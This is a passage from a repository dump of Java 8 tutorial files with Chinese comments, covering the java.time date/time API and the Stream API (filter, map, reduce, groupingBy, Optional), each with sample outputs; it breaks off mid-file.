DateTimeFormatter类提供了大量的内置格式化工具，同时也允许你自定义。在转换方面也提供了parse()将字符串解析成日期，如果解析出错会抛出DateTimeParseException。DateTimeFormatter类同时还有format()用来格式化日期，如果出错会抛出DateTimeException异常。\n\t\t\t\n\t\t\t8）再补充一点，日期格式“MMM d yyyy”和“MMM dd yyyy”有一些微妙的不同，第一个格式可以解析“Jan 2 2014”和“Jan 14 2014”，而第二个在解析“Jan 2 2014”就会抛异常，因为第二个格式里要求日必须是两位的。如果想修正，你必须在日期只有个位数时在前面补零，就是说“Jan 2 2014”应该写成 “Jan 02 2014”。\n\t\t\t\t\t \n\t\t */\n\t\t\n\t\t\n\t\ttest1();\n\t\ttest2();\n\t\ttest3();\n\t\ttest4();\n\t}\n\t\n\t\n\t\n\t\n\t/**\n\t * \n\t */\n\tprivate static void test1(){\n\t\t\n\t\t/*\n\t\t * 获取当前时间\n\t\t */\n\t\t//本地日期,不包括时分秒\n\t\tLocalDate nowDate = LocalDate.now();\n\t\t//本地日期,包括时分秒\n\t\tLocalDateTime nowDateTime = LocalDateTime.now();\n\t\tSystem.out.println(\"当前时间:\"+nowDate);\n\t\tSystem.out.println(\"当前时间:\"+nowDateTime);\n\t\t//  当前时间:2018-12-19\n\t\t//  当前时间:2018-12-19T15:24:35.822\n\t\t\n\t\t/*\n\t\t * 格式化时间\n\t\t */\n\t\tLocalDate ld=LocalDate.parse(\"2017-11-17\");\n\t\tLocalDate ld2=LocalDate.parse(\"2018-01-05\");\n\t\t\n\t\t/**\n\t\t * 创建指定日期\n\t\t */\n\t\tLocalDate ld3=LocalDate.of(2017, Month.NOVEMBER, 17);\n\t\tLocalDate ld4=LocalDate.of(2018, 02, 11);\n\t\t//jdk1.8的类，用于比较时间\n\t\t//可以得到相差年、月、日\n\t\tPeriod p=Period.between(ld, ld2);\n\t\tSystem.out.println(\"相差年: \"+p.getYears()+\" 相差月 :\"+p.getMonths() +\" 相差天:\"+p.getDays());\n\t\t// 相差年: 0 相差月 :1 相差天:19\n\t\t\n\t\tSystem.out.println(\"增加2个月: \"+ld.plusMonths(2));\n\t\tPeriod p2=Period.between(ld3, ld4);\n\t\tSystem.out.println(\"相差年: \"+p2.getYears()+\" 相差月 :\"+p2.getMonths() +\" 相差天:\"+p2.getDays()+\"--\"+p2.toTotalMonths());\n\t\t//相差年: 0 相差月 :2 相差天:25\n\t}\n\t\n\t/**\n\t * 时间测试\n\t */\n\tprivate static void test2(){\n//\t\t String time=\"2018-06-29 09:19:45.498\";\n\t\t String time2=\"2018-01-04T09:19:29.499\";\n\t\t //格式化时间\n\t\t LocalDateTime ldt2=LocalDateTime.parse(time2);\n\t\t //获取当前的时间，包括毫秒\n\t\t LocalDateTime ldt = LocalDateTime.now();\n\t\t System.out.println(\"当前年:\"+ldt.getYear());   //2018\n\t\t System.out.println(\"当前年份天数:\"+ldt.getDayOfYear());//172 \n\t\t System.out.println(\"当前月:\"+ldt.getMonthValue());\n\t\t System.out.println(\"当前时:\"+ldt.getHour());\n\t\t System.out.println(\"当前分:\"+ldt.getMinute());\n\t\t System.out.println(\"当前时间:\"+ldt.toString());\n\t\t//\t\t 当前年:2018\n\t\t//\t\t 当前年份天数:353\n\t\t//\t\t 当前月:12\n\t\t//\t\t 当前时:15\n\t\t//\t\t 当前分:24\n\t\t//\t\t 当前时间:2018-12-19T15:24:35.833\n\t\t \n\t\t \n\t\t System.out.println(\"格式化时间: \"+ ldt.format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd HH:mm:ss.SSS\")));\n\t\t //格式化时间:2018-12-19 15:37:47.119\n\t\t \n\t\t System.out.println(\"后5天时间:\"+ldt.plusDays(5));\n\t\t System.out.println(\"前5天时间并格式化:\"+ldt.minusDays(5).format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd\"))); //2018-06-16\n\t\t System.out.println(\"前一个月的时间:\"+ldt2.minusMonths(1).format(DateTimeFormatter.ofPattern(\"yyyyMM\"))); //2018-06-16\n\t\t System.out.println(\"后一个月的时间:\"+ldt2.plusMonths(1)); //2018-06-16\n\t\t System.out.println(\"指定2099年的当前时间:\"+ldt.withYear(2099)); //2099-06-21T15:07:39.506\n\t\t//\t\t后5天时间:2018-12-24T15:50:37.508\n\t\t//\t\t前5天时间并格式化:2018-12-14\n\t\t//\t\t前一个月的时间:201712\n\t\t//\t\t后一个月的时间:2018-02-04T09:19:29.499\n\t\t//\t\t指定2099年的当前时间:2099-12-19T15:50:37.508\n\t\t \n\t\t System.out.println(\"得到的时间:\"+ldt2.toString());\n\t\t System.out.println(\"格式化时间:\"+ldt2.format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd\")));\n\t\t \n\t\t \n\t\t /*\n\t\t  * \n\t\t 通过  Clock时钟类用于获取当时的时间戳，或当前时区下的日期时间信息。\n\t\t  */\n\t\t Clock clock = Clock.systemUTC();\n\t\t System.out.println(\"当前时间戳 : \" + clock.millis());\n\t\t Clock clock2 = Clock.system(ZoneId.of(\"Asia/Shanghai\"));\n\t\t System.out.println(\"亚洲上海此时的时间戳:\"+clock2.millis());\n\t\t Clock clock3 = Clock.system(ZoneId.of(\"America/New_York\"));\n\t\t System.out.println(\"美国纽约此时的时间戳:\"+clock3.millis());\n\t\t//\t当前时间戳 : 1545209277657\n\t\t//\t 亚洲上海此时的时间戳:1545209277657\n\t\t//\t 美国纽约此时的时间戳:1545209277658\n\t\t \n\t\t /*\n\t\t  * 时区计算\n\t\t  */\n\t\t ZoneId zoneId= ZoneId.of(\"America/New_York\");\n\t\t ZonedDateTime dateTime=ZonedDateTime.now(zoneId);\n\t\t System.out.println(\"美国纽约此时的时间 : \" + dateTime.format(DateTimeFormatter.ofPattern(\"yyyy-MM-dd HH:mm:ss.SSS\")));\n\t\t System.out.println(\"美国纽约此时的时间 和时区: \" + dateTime);\n\t\t //\t 美国纽约此时的时间 : 2018-12-19 03:52:22.494\n\t\t //\t美国纽约此时的时间 和时区: 2018-12-19T03:52:22.494-05:00[America/New_York]\n\t\t\t\t \n\t\t /**\n\t\t  *\n\t\t  * 时间比较\n\t\t  */\n\t\t LocalDateTime ldt4 = LocalDateTime.now();\n\t\t LocalDateTime ldt5 = ldt4.plusMinutes(10);\n\t\t System.out.println(\"当前时间是否大于:\"+ldt4.isAfter(ldt5));\n\t\t System.out.println(\"当前时间是否小于\"+ldt4.isBefore(ldt5));\n\t\t // false\n\t\t // true\n\t}\n\t\n\t\n\t/**\n\t * \n\t */\n\tprivate static void   test3(){\n\t\t/*\n\t\t *   Duration 这个类以秒和纳秒为单位建模时间的数量或数量\n\t\t */\n\t\tInstant inst1 = Instant.now();\n        System.out.println(\"当前时间戳: \" + inst1);\n        Instant inst2 = inst1.plus(Duration.ofSeconds(10));\n        System.out.println(\"增加之后的时间 : \" + inst2);\n        System.out.println(\"相差毫秒 : \" + Duration.between(inst1, inst2).toMillis());\n        System.out.println(\"相毫秒 : \" + Duration.between(inst1, inst2).getSeconds());\n\t\t//\t 当前时间戳 : 2018-12-19T08:14:21.675Z\n\t\t//\t增加之后的时间 : 2018-12-19T08:14:31.675Z\n\t\t//\t相差毫秒 : 10000\n\t\t//\t 相毫秒 : 10\n        \n\t}\n\t\n\t\n\t/**\n\t * 单个时间单位内测量一段时间\n\t */\n\tprivate static void test4(){\n\t\t\t/*\n\t\t\t *  ChronoUnit 日期周期单位的标准集合。\n\t\t\t */\n\t\t  \tLocalDate startDate = LocalDate.of(2017, 11, 17);\n\t        LocalDate endDate = LocalDate.of(2018, 01, 05);\n\t        System.out.println(\"相差月份:\"+ChronoUnit.MONTHS.between(startDate, endDate));\n\t        System.out.println(\"两月之间的相差的天数   : \" + ChronoUnit.DAYS.between(startDate, endDate));\n\t\t\t//\t       相差月份:1\n\t\t\t//\t       两天之间的差在天数   : 49\n\t    }\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk8/StreamTest.java",
    "content": "package com.jun.plugin.jdk8;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.IntSummaryStatistics;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.Random;\nimport java.util.Set;\nimport java.util.Stack;\nimport java.util.function.Supplier;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\nimport java.util.stream.Stream;\n\n\n\n/**\n * @Title: StreamTest\n * @Description: Stream测试用例 流的操作类型分为两种：\n * \n *               Intermediate：一个流可以后面跟随零个或多个 intermediate\n *               操作。其目的主要是打开流，做出某种程度的数据映射/过滤，然后返回一个新的流，交给下一个操作使用。\n *               这类操作都是惰性化的（lazy），就是说，仅仅调用到这类方法，并没有真正开始流的遍历。 Terminal：一个流只能有一个\n *               terminal 操作，当这个操作执行后，流就被使用“光”了，无法再被操作。 所以这必定是流的最后一个操作。 Terminal\n *               操作的执行，才会真正开始流的遍历，并且会生成一个结果，或者一个 side effect。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年9月3日\n */\npublic class StreamTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttest1();\n\t\ttest2();\n\t\ttest3();\n\t\ttest4();\n\t\t\n\t\t/*\n\t\t * Stream 的特性可以归纳为：\n\t\t\t不是数据结构\n\t\t\t它没有内部存储，它只是用操作管道从 source（数据结构、数组、generator function、IO channel）抓取数据。\n\t\t\t它也绝不修改自己所封装的底层数据结构的数据。例如 Stream 的 filter 操作会产生一个不包含被过滤元素的新 Stream，而不是从 source 删除那些元素。\n\t\t\t所有 Stream 的操作必须以 lambda 表达式为参数\n\t\t\t不支持索引访问\n\t\t\t你可以请求第一个元素，但无法请求第二个，第三个，或最后一个。不过请参阅下一项。\n\t\t\t很容易生成数组或者 List\n\t\t\t惰性化\n\t\t\t很多 Stream 操作是向后延迟的，一直到它弄清楚了最后需要多少数据才会开始。\n\t\t\tIntermediate 操作永远是惰性化的。\n\t\t\t并行能力\n\t\t\t当一个 Stream 是并行化的，就不需要再写多线程代码，所有对它的操作会自动并行进行的。\n\t\t\t可以是无限的\n\t\t\t集合有固定大小，Stream 则不必。limit(n) 和 findFirst() 这类的 short-circuiting 操作可以对无限的 Stream 进行运算并很快完成。\n\t\t */\n\t}\n\n\t/**\n\t * 简单实用\n\t */\n\tprivate static void test1() {\n\t\t/*\n\t\t * 普通的方式过滤\n\t\t */\n\t\tList<String> list = Arrays.asList(\"张三\", \"李四\", \"王五\", \"xuwujing\");\n\t\tSystem.out.println(\"过滤之前:\" + list);\n\t\tList<String> result = new ArrayList<>();\n\t\tfor (String str : list) {\n\t\t\tif (!\"李四\".equals(str)) {\n\t\t\t\tresult.add(str);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"过滤之后:\" + result);\n\n\t\t/*\n\t\t * stream 过滤\n\t\t */\n\t\tList<String> result2 = list.stream().filter(str -> !\"李四\".equals(str)).collect(Collectors.toList());\n\t\tSystem.out.println(\"stream 过滤之后:\" + result2);\n\t\t// 另一种方式输出\n\t\tresult2.forEach(System.out::println);\n\n\t\t// 使用stream.filter ()过滤一列表，并.findAny().orElse\n\t\t// 遍历该list，查询数据，如果查不到，就返回 找不到!\n\t\tString result3 = list.stream().filter(str -> \"李四\".equals(str)).findAny().orElse(\"找不到!\");\n\t\tString result4 = list.stream().filter(str -> \"李二\".equals(str)).findAny().orElse(\"找不到!\");\n\n\t\tSystem.out.println(\"stream 过滤之后 2:\" + result3);\n\t\tSystem.out.println(\"stream 过滤之后 3:\" + result4);\n\t\t//stream 过滤之后 2:李四\n\t\t//stream 过滤之后 3:找不到!\n\t}\n\n\t/**\n\t * 基本使用\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\", \"unused\" })\n\tprivate static void test2() {\n\n\t\t/*\n\t\t * 构造流的几种方式\n\t\t */\n\t\tStream stream = Stream.of(\"a\", \"b\", \"c\");\n\t\tString[] strArray = new String[] { \"a\", \"b\", \"c\" };\n\t\tstream = Stream.of(strArray);\n\t\tstream = Arrays.stream(strArray);\n\t\tList<String> list = Arrays.asList(strArray);\n\t\tstream = list.stream();\n\n\t\t/*\n\t\t * 流之间的相互转化 一个 Stream 只可以使用一次，这段代码为了简洁而重复使用了数次，因此会抛出异常\n\t\t */\n\t\ttry {\n\t\t\tStream<String> stream2 = Stream.of(\"a\", \"b\", \"c\");\n\t\t\t// 转换成 Array\n\t\t\tString[] strArray1 = stream2.toArray(String[]::new);\n\n\t\t\t// 转换成 Collection\n\t\t\tList<String> list1 = stream2.collect(Collectors.toList());\n\t\t\tList<String> list2 = stream2.collect(Collectors.toCollection(ArrayList::new));\t\t\t\n\t\t\tSet set1 = stream2.collect(Collectors.toSet());\n\t\t\tStack stack1 = stream2.collect(Collectors.toCollection(Stack::new));\n\n\t\t\t// 转换成 String\n\t\t\tString str = stream.collect(Collectors.joining()).toString();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\t/*\n\t\t * 汇总操作\n\t\t */\n\t\tList<User> lists = new ArrayList<User>();\n\t\tlists.add(new User(6, \"张三\"));\n\t\tlists.add(new User(2, \"李四\"));\n\t\tlists.add(new User(3, \"王五\"));\n\t\tlists.add(new User(1, \"张三\"));\n\t\t// 计算这个list中出现 \"张三\" id的值\n\t\tint sum = lists.stream().filter(u -> \"张三\".equals(u.getName())).mapToInt(u -> u.getId()).sum();\n\n\t\tSystem.out.println(\"计算结果:\" + sum); \n\t\t// 7\n\n\t\t/*\n\t\t * 数值类型的流 包括IntStream, LongStream和DoubleStream\n\t\t */\n\t\tSystem.out.println(\"遍历输出该数组的数据:\");\n\t\tIntStream.of(new int[] { 1, 2, 3, 4 }).forEach(System.out::println);\n\t\tSystem.out.println(\"查询范围在 2-3(2<=i<3)之间的数据:\");\n\t\tIntStream.range(2, 3).forEach(System.out::println);\n\t\tSystem.out.println(\"查询范围在2-3(2<=i<=3)之间的数据:\");\n\t\tIntStream.rangeClosed(2, 3).forEach(System.out::println);\n\n\t\t/* stream中的 map使用 */\n\n\t\t/*\n\t\t * 转换大写\n\t\t */\n\t\tList<String> list3 = Arrays.asList(\"zhangSan\", \"liSi\", \"wangWu\");\n\t\tSystem.out.println(\"转换之前的数据:\" + list3);\n\t\tList<String> list4 = list3.stream().map(String::toUpperCase).collect(Collectors.toList());\n\t\tSystem.out.println(\"转换之后的数据:\" + list4); \n\t\t// 转换之后的数据:[ZHANGSAN, LISI,WANGWU]\n\t\t\n\t\t/*\n\t\t * 转换数据类型\n\t\t */\n\t\tList<String> list31 = Arrays.asList(\"1\", \"2\", \"3\");\n\t\tSystem.out.println(\"转换之前的数据:\" + list31);\n\t\tList<Integer> list41 = list31.stream().map(Integer::valueOf).collect(Collectors.toList());\n\t\tSystem.out.println(\"转换之后的数据:\" + list41); \n\t\t// [1, 2, 3]\n\t\t\n\t\t\n\t\t/*\n\t\t *  转换数据类型\n\t\t *  对象转map\n\t\t */\n\t\tList<User> list32 = new ArrayList<User>();\n\t\tfor(int i=1;i<=10;i++){\n\t\t\tlist32.add(new User(i,\"张三\"+i));\n\t\t}\n\t\t\n\t\tSystem.out.println(\"转换之前的数据:\" + list32);// 转换之前的数据:[1, 2, 3]\n\t\tList<Map> list42 = list32.stream().map(User::toMap).collect(Collectors.toList());\n\t\tSystem.out.println(\"转换之后的数据:\" + list42); // [1, 2, 3]\n\t\t\n\t\t\n\t\t/*\n\t\t * 获取平方\n\t\t */\n\t\tList<Integer> list5 = Arrays.asList(new Integer[] { 1, 2, 3, 4, 5 });\n\t\tList<Integer> list6 = list5.stream().map(n -> n * n).collect(Collectors.toList());\n\t\tSystem.out.println(\"平方的数据:\" + list6);\n\t\t// [1, 4, 9, 16, 25]\n\n\t\t/*\n\t\t * flatMap 一对多 得到多个数组里面的数字\n\t\t */\n\t\tStream<List<Integer>> inputStream = Stream.of(Arrays.asList(1), Arrays.asList(2, 3), Arrays.asList(4, 5, 6));\n\t\tStream<Integer> outputStream = inputStream.flatMap((childList) -> childList.stream());\n\t\tSystem.out.println(\"打印 stream中的数字:\");\n\t\toutputStream.forEach(System.out::println);\n\n\t\t/*\n\t\t * 得到一段句子中的单词\n\t\t */\n\t\tString worlds = \"The way of the future\";\n\t\tList<String> list7 = new ArrayList<>();\n\t\tlist7.add(worlds);\n\t\tList<String> list8 = list7.stream().flatMap(str -> Stream.of(str.split(\" \")))\n\t\t\t\t.filter(world -> world.length() > 0).collect(Collectors.toList());\n\t\tSystem.out.println(\"单词:\");\n\t\tlist8.forEach(System.out::println);\n\t\t// 单词:\n\t\t// The \n\t\t// way \n\t\t// of \n\t\t// the \n\t\t// future\n\t\t\n\t\t/*\n\t\t * peek 对每个元素执行操作并返回一个新的 Stream\n\t\t */\n\t\tSystem.out.println(\"peek使用:\");\n\t\tStream.of(\"one\", \"two\", \"three\", \"four\").filter(e -> e.length() > 3).peek(e -> System.out.println(\"转换之前: \" + e))\n\t\t\t\t.map(String::toUpperCase).peek(e -> System.out.println(\"转换之后: \" + e)).collect(Collectors.toList());\n\t\t\n\t\t//\t转换之前: three\n\t\t//\t转换之后: THREE\n\t\t//\t转换之前: four\n\t\t//\t转换之后: FOUR\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t * limit 和 skip limit 返回 Stream 的前面 n 个元素；skip 则是扔掉前 n 个元素（它是由一个叫\n\t\t * subStream 的方法改名而来）。\n\t\t */\n\t\t\n\t\t//limit 简单使用\n\t\tRandom rd = new Random();\n\t\tSystem.out.println(\"取到的前三条数据:\");\n\t\trd.ints().limit(3).forEach(System.out::println);\n\t\t//\t取到的前三条数据:\n\t\t//\t1167267754\n\t\t//\t-1164558977\n\t\t//\t1977868798\n\t\t\n\t\tList<User> list9 = new ArrayList<User>();\n\t\tfor (int i = 1; i < 4; i++) {\n\t\t\tUser user = new User(i, \"pancm\" + i);\n\t\t\tlist9.add(user);\n\t\t}\n\t\tSystem.out.println(\"截取之前的数据:\");\n\t\t// 取前3条数据，但是扔掉了前面的2条，可以理解为拿到的数据为 2<=i<3 (i 是数值下标)\n\t\tList<String> list10 = list9.stream().map(User::getName).limit(3).skip(2).collect(Collectors.toList());\n\t\tSystem.out.println(\"截取之后的数据:\" + list10);\n\t\t//\t\t截取之前的数据:\n\t\t//\t\t姓名:pancm1\n\t\t//\t\t姓名:pancm2\n\t\t//\t\t姓名:pancm3\n\t\t//\t\t截取之后的数据:[pancm3]\n\t\t\n\t\t\n\t\t/*\n\t\t * sort 进行排序 先获取在排序效率更高\n\t\t */\n\t\t\n\t\tRandom rd2 = new Random();\n\t\tSystem.out.println(\"取到的前三条数据然后进行排序:\");\n\t\trd2.ints().limit(3).sorted().forEach(System.out::println);\n\t\t//\t取到的前三条数据然后进行排序:\n\t\t//\t-2043456377\n\t\t//\t-1778595703\n\t\t//\t1013369565\n\t\t\n\t\t//普通的排序取值\n\t\tList<User> list11 = list9.stream().sorted((u1, u2) -> u1.getName().compareTo(u2.getName())).limit(3)\n\t\t\t\t.collect(Collectors.toList());\n\t\tSystem.out.println(\"排序之后的数据:\" + list11);\n\t\t//优化排序取值\n\t\tList<User> list12 = list9.stream().limit(3).sorted((u1, u2) -> u1.getName().compareTo(u2.getName()))\n\t\t\t\t.collect(Collectors.toList());\n\t\tSystem.out.println(\"优化排序之后的数据:\" + list12);\n\t\t//排序之后的数据:[{\"id\":1,\"name\":\"pancm1\"}, {\"id\":2,\"name\":\"pancm2\"}, {\"id\":3,\"name\":\"pancm3\"}]\n\t\t//优化排序之后的数据:[{\"id\":1,\"name\":\"pancm1\"}, {\"id\":2,\"name\":\"pancm2\"}, {\"id\":3,\"name\":\"pancm3\"}]\n\t\t\n\t\t/*\n\t\t * min/max/distinct\n\t\t * 最大，最小和去重\n\t\t */\n\t\t\n\t\tList<String> list13 = Arrays.asList(\"zhangsan\",\"lisi\",\"wangwu\",\"xuwujing\");\n\t\tint maxLines = list13.stream().mapToInt(String::length).max().getAsInt();\n\t\tint minLines = list13.stream().mapToInt(String::length).min().getAsInt();\n\t\tSystem.out.println(\"最长字符的长度:\" + maxLines+\",最短字符的长度:\"+minLines);\n\t\t//最长字符的长度:8,最短字符的长度:4\n\t\t\n\t\tString lines = \"good good study day day up\";\n\t\tList<String> list14 = new ArrayList<String>();\n\t\tlist14.add(lines);\n\t\tList<String> words = list14.stream().flatMap(line -> Stream.of(line.split(\" \"))).filter(word -> word.length() > 0)\n\t\t\t\t.map(String::toLowerCase).distinct().sorted().collect(Collectors.toList());\n\t\tSystem.out.println(\"去重复之后:\" + words);\n\t\t//去重复之后:[day, good, study, up]\n\n\t\t/*\n\t\t * Match 匹配\n\t\t * \n\t\t * allMatch：Stream 中全部元素符合则返回 true ;\n\t\t * anyMatch：Stream 中只要有一个元素符合则返回 true; \n\t\t * noneMatch：Stream 中没有一个元素符合则返回 true。\n\t\t */\n\n\t\tboolean all = lists.stream().allMatch(u -> u.getId() > 3);\n\t\tSystem.out.println(\"是否都大于3:\" + all);\n\t\tboolean any = lists.stream().anyMatch(u -> u.getId() > 3);\n\t\tSystem.out.println(\"是否有一个大于3:\" + any);\n\t\tboolean none = lists.stream().noneMatch(u -> u.getId() > 3);\n\t\tSystem.out.println(\"是否没有一个大于3的:\" + none);\t\t\n\t\t//\t是否都大于3:false\n\t\t//\t是否有一个大于3:true\n\t\t//\t是否没有一个大于3的:false\n\t\t\n\t\t/*\n\t\t * 生成随机数 通过实现 Supplier 接口，你可以自己来控制流的生成。这种情形通常用于随机数、常量的\n\t\t * Stream，或者需要前后元素间维持着某种状态信息的 Stream。 把 Supplier 实例传递给 Stream.generate()\n\t\t * 生成的 Stream，默认是串行（相对 parallel 而言）但无序的（相对 ordered 而言）。\n\t\t * 由于它是无限的，在管道中，必须利用 limit 之类的操作限制 Stream 大小。\n\t\t */\n\t\tRandom seed = new Random();\n\t\tseed.ints().limit(3).forEach(System.out::println);\n\t\tSupplier<Integer> random = seed::nextInt;\n\t\tSystem.out.println(\"生成5个随机数:\");\n\t\tStream.generate(random).limit(3).forEach(System.out::println);\n\t\tSystem.out.println(\"生成5正整数的随机数:\");\n\t\tIntStream.generate(() -> (int) (System.nanoTime() % 100)).limit(3).forEach(System.out::println);\n\t\tSystem.out.println(\"生成5个随机数:\");\n\t\n\t\t\n\t\t/*\n\t\t 并行（parallel）程序\n\t\tparallelStream 是流并行处理程序的代替方法。\n\t\t */\n\t\tList<String> strings = Arrays.asList(\"a\", \"\", \"c\", \"\", \"e\",\"\", \" \");\n\t\t// 获取空字符串的数量\n\t\tlong count =  strings.parallelStream().filter(string -> string.isEmpty()).count();\n\t\tSystem.out.println(\"空字符串的个数:\"+count);\n\t\t\n\t\t\n\t\t/*\n\t\t * 合并字符串\n\t\t */\n\t\tList<String> filtered = strings.stream().filter(string -> !string.isEmpty()).collect(Collectors.toList());\n\t\tSystem.out.println(\"筛选列表: \" + filtered);\n\t\tString mergedString = strings.stream().filter(string -> !string.isEmpty()).collect(Collectors.joining(\", \"));\n\t\tSystem.out.println(\"合并字符串: \" + mergedString);\n\t\t//\t筛选列表: [a, c, e,  ]\n\t\t//\t合并字符串: a, c, e,  \n\t\t\n\t}\n\n\t/**\n\t * 一些关联使用\n\t */\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tprivate static void test3() {\n\n\t\t/*\n\t\t * Optional\n\t\t */\n\t\tString strA = \" abcd \", strB = null;\n\t\tSystem.out.println(\"数据校验开始...\");\n\t\tprint(strA);\n\t\tprint(\"\");\n\t\tprint(strB);\n\t\tgetLength(strA);\n\t\tgetLength(\"\");\n\t\tgetLength(strB);\n\t\tSystem.out.println(\"数据校验结束...\");\n\n\t\t/*\n\t\t * reduce 主要作用是把 Stream 元素组合起来。\n\t\t */\n\t\t// 字符串连接，concat = \"ABCD\"\n\t\tString concat = Stream.of(\"A\", \"B\", \"C\", \"D\").reduce(\"\", String::concat);\n\t\tSystem.out.println(\"字符串拼接:\" + concat);\n\t\t//字符串拼接:ABCD\n\t\t// 求最小值\n\t\tdouble minValue = Stream.of(-4.0, 1.0, 3.0, -2.0).reduce(Double.MAX_VALUE, Double::min);\n\t\tSystem.out.println(\"最小值:\" + minValue);\n\t\t//最小值:-4.0\n\t\t\n\t\t\n\t\t// 求和, 无起始值\n\t\tint sumValue = Stream.of(1, 2, 3, 4).reduce(Integer::sum).get();\n\t\tSystem.out.println(\"有无起始值求和:\" + sumValue);\n\t\t// 求和, 有起始值\n\t\t sumValue = Stream.of(1, 2, 3, 4).reduce(1, Integer::sum);\n\t\tSystem.out.println(\"有起始值求和:\" + sumValue);\n\t\t//\t有无起始值求和:10\n\t\t//\t有起始值求和:11\n\t\t\n\t\t\n\t\t// 过滤，字符串连接，concat = \"ace\"\n\t\tconcat = Stream.of(\"a\", \"B\", \"c\", \"D\", \"e\", \"F\").filter(x -> x.compareTo(\"Z\") > 0).reduce(\"\", String::concat);\n\t\tSystem.out.println(\"过滤和字符串连接:\" + concat);\n\t\t//过滤和字符串连接:ace\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t * iterate iterate 跟 reduce 操作很像，接受一个种子值，和一个 UnaryOperator（例如 f）。\n\t\t * 然后种子值成为 Stream 的第一个元素，f(seed) 为第二个，f(f(seed)) 第三个，以此类推。 在 iterate\n\t\t * 时候管道必须有 limit 这样的操作来限制 Stream 大小。\n\t\t */\n\t\tSystem.out.println(\"从2开始生成一个等差队列:\");\n\t\tStream.iterate(2, n -> n + 2).limit(5).forEach(x -> System.out.print(x + \" \"));\n\t\t// 从2开始生成一个等差队列:\n\t\t// 2 4 6 8 10\n\t\t\n\t\t\n\t\tSystem.out.println(\"\\n\");\n\t\t/*\n\t\t * 分组排序 groupingBy/partitioningBy\n\t\t */\n\t\t// 通过id进行排序\n\t\tSystem.out.println(\"通过id进行分组排序:\");\n\t\tMap<Integer, List<User>> personGroups = Stream.generate(new UserSupplier2()).limit(5)\n\t\t\t\t.collect(Collectors.groupingBy(User::getId));\n\t\tIterator it = personGroups.entrySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap.Entry<Integer, List<User>> persons = (Map.Entry) it.next();\n\t\t\tSystem.out.println(\"id \" + persons.getKey() + \" = \" + persons.getValue());\n\t\t}\n\t\t\n\t\t//\t通过id进行分组排序:\n\t\t//\tid 10 = [{\"id\":10,\"name\":\"pancm1\"}]\t\n\t\t//\tid 11 = [{\"id\":11,\"name\":\"pancm3\"}, {\"id\":11,\"name\":\"pancm6\"}, {\"id\":11,\"name\":\"pancm4\"}, {\"id\":11,\"name\":\"pancm7\"}]\n\n\t\t\n\t\t\n\t\t//通过年龄排序\n\t\tSystem.out.println(\"通过年龄进行分区排序:\");\n\t\tMap<Boolean, List<User>> children = Stream.generate(new UserSupplier3()).limit(5)\n\t\t\t\t.collect(Collectors.partitioningBy(p -> p.getId() < 18));\n\n\t\tSystem.out.println(\"小孩: \" + children.get(true));\n\t\tSystem.out.println(\"成年人: \" + children.get(false));\n\t\t\n\t\t// 通过年龄进行分区排序:\n\t\t// 小孩: [{\"id\":16,\"name\":\"pancm7\"}, {\"id\":17,\"name\":\"pancm2\"}]\n\t\t// 成年人: [{\"id\":18,\"name\":\"pancm4\"}, {\"id\":19,\"name\":\"pancm9\"}, {\"id\":20,\"name\":\"pancm6\"}]\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t *  IntSummaryStatistics 用于收集统计信息(如count、min、max、sum和average)的状态对象。\n\t\t */\n\t\tList<Integer> numbers = Arrays.asList(1, 5, 7, 3, 9);\n\t\tIntSummaryStatistics stats = numbers.stream().mapToInt((x) -> x).summaryStatistics();\n\t\t \n\t\tSystem.out.println(\"列表中最大的数 : \" + stats.getMax());\n\t\tSystem.out.println(\"列表中最小的数 : \" + stats.getMin());\n\t\tSystem.out.println(\"所有数之和 : \" + stats.getSum());\n\t\tSystem.out.println(\"平均数 : \" + stats.getAverage());\n\t\t\n\t\t//\t列表中最大的数 : 9\n\t\t//\t列表中最小的数 : 1\n\t\t//\t所有数之和 : 25\n\t\t//\t平均数 : 5.0\n\t\t\n\t}\n\n\t/**\n\t * 自定义流\n\t */\n\tprivate static void test4() {\n\n\t\t/*\n\t\t * 自定义一个流 然后进行输出\n\t\t */\n\t\tSystem.out.println(\"自定义一个流进行计算输出:\");\n\t\tStream.generate(new UserSupplier()).limit(2).forEach(u -> System.out.println(u.getId() + \", \" + u.getName()));\n\t\t\n\t\t//第一次:\n\t\t//自定义一个流进行计算输出:\n\t\t//10, pancm7\n\t\t//11, pancm6\n\t\t\n\t\t//第二次:\n\t\t//自定义一个流进行计算输出:\n\t\t//10, pancm4\n\t\t//11, pancm2\n\t\t\n\t\t//第三次:\n\t\t//自定义一个流进行计算输出:\n\t\t//10, pancm4\n\t\t//11, pancm8\n\t}\n\n\tpublic static void print(String text) {\n\t\t// jdk1.8之前的写法\n\t\t// if (text != null) {\n\t\t// System.out.println(text);\n\t\t// }\n\t\t// jdk1.8的写法\n\t\tOptional.ofNullable(text).ifPresent(System.out::println);\n\t}\n\n\tpublic static void getLength(String text) {\n\t\t// jdk1.8之前的写法\n\t\t// return if (text != null) ? text.length() : -1;\n\t\t// jdk1.8的写法\n\t\tint i = Optional.ofNullable(text).map(String::length).orElse(-1);\n\t\tSystem.out.println(\"数据:\" + i);\n\t};\n}\n\nclass UserSupplier implements Supplier<User> {\n\tprivate int index = 10;\n\tprivate Random random = new Random();\n\n\t@Override\n\tpublic User get() {\n\t\treturn new User(index++, \"pancm\" + random.nextInt(10));\n\t}\n}\n\nclass UserSupplier2 implements Supplier<User> {\n\tprivate int index = 10;\n\tprivate Random random = new Random();\n\n\t@Override\n\tpublic User get() {\n\t\treturn new User(index % 2 == 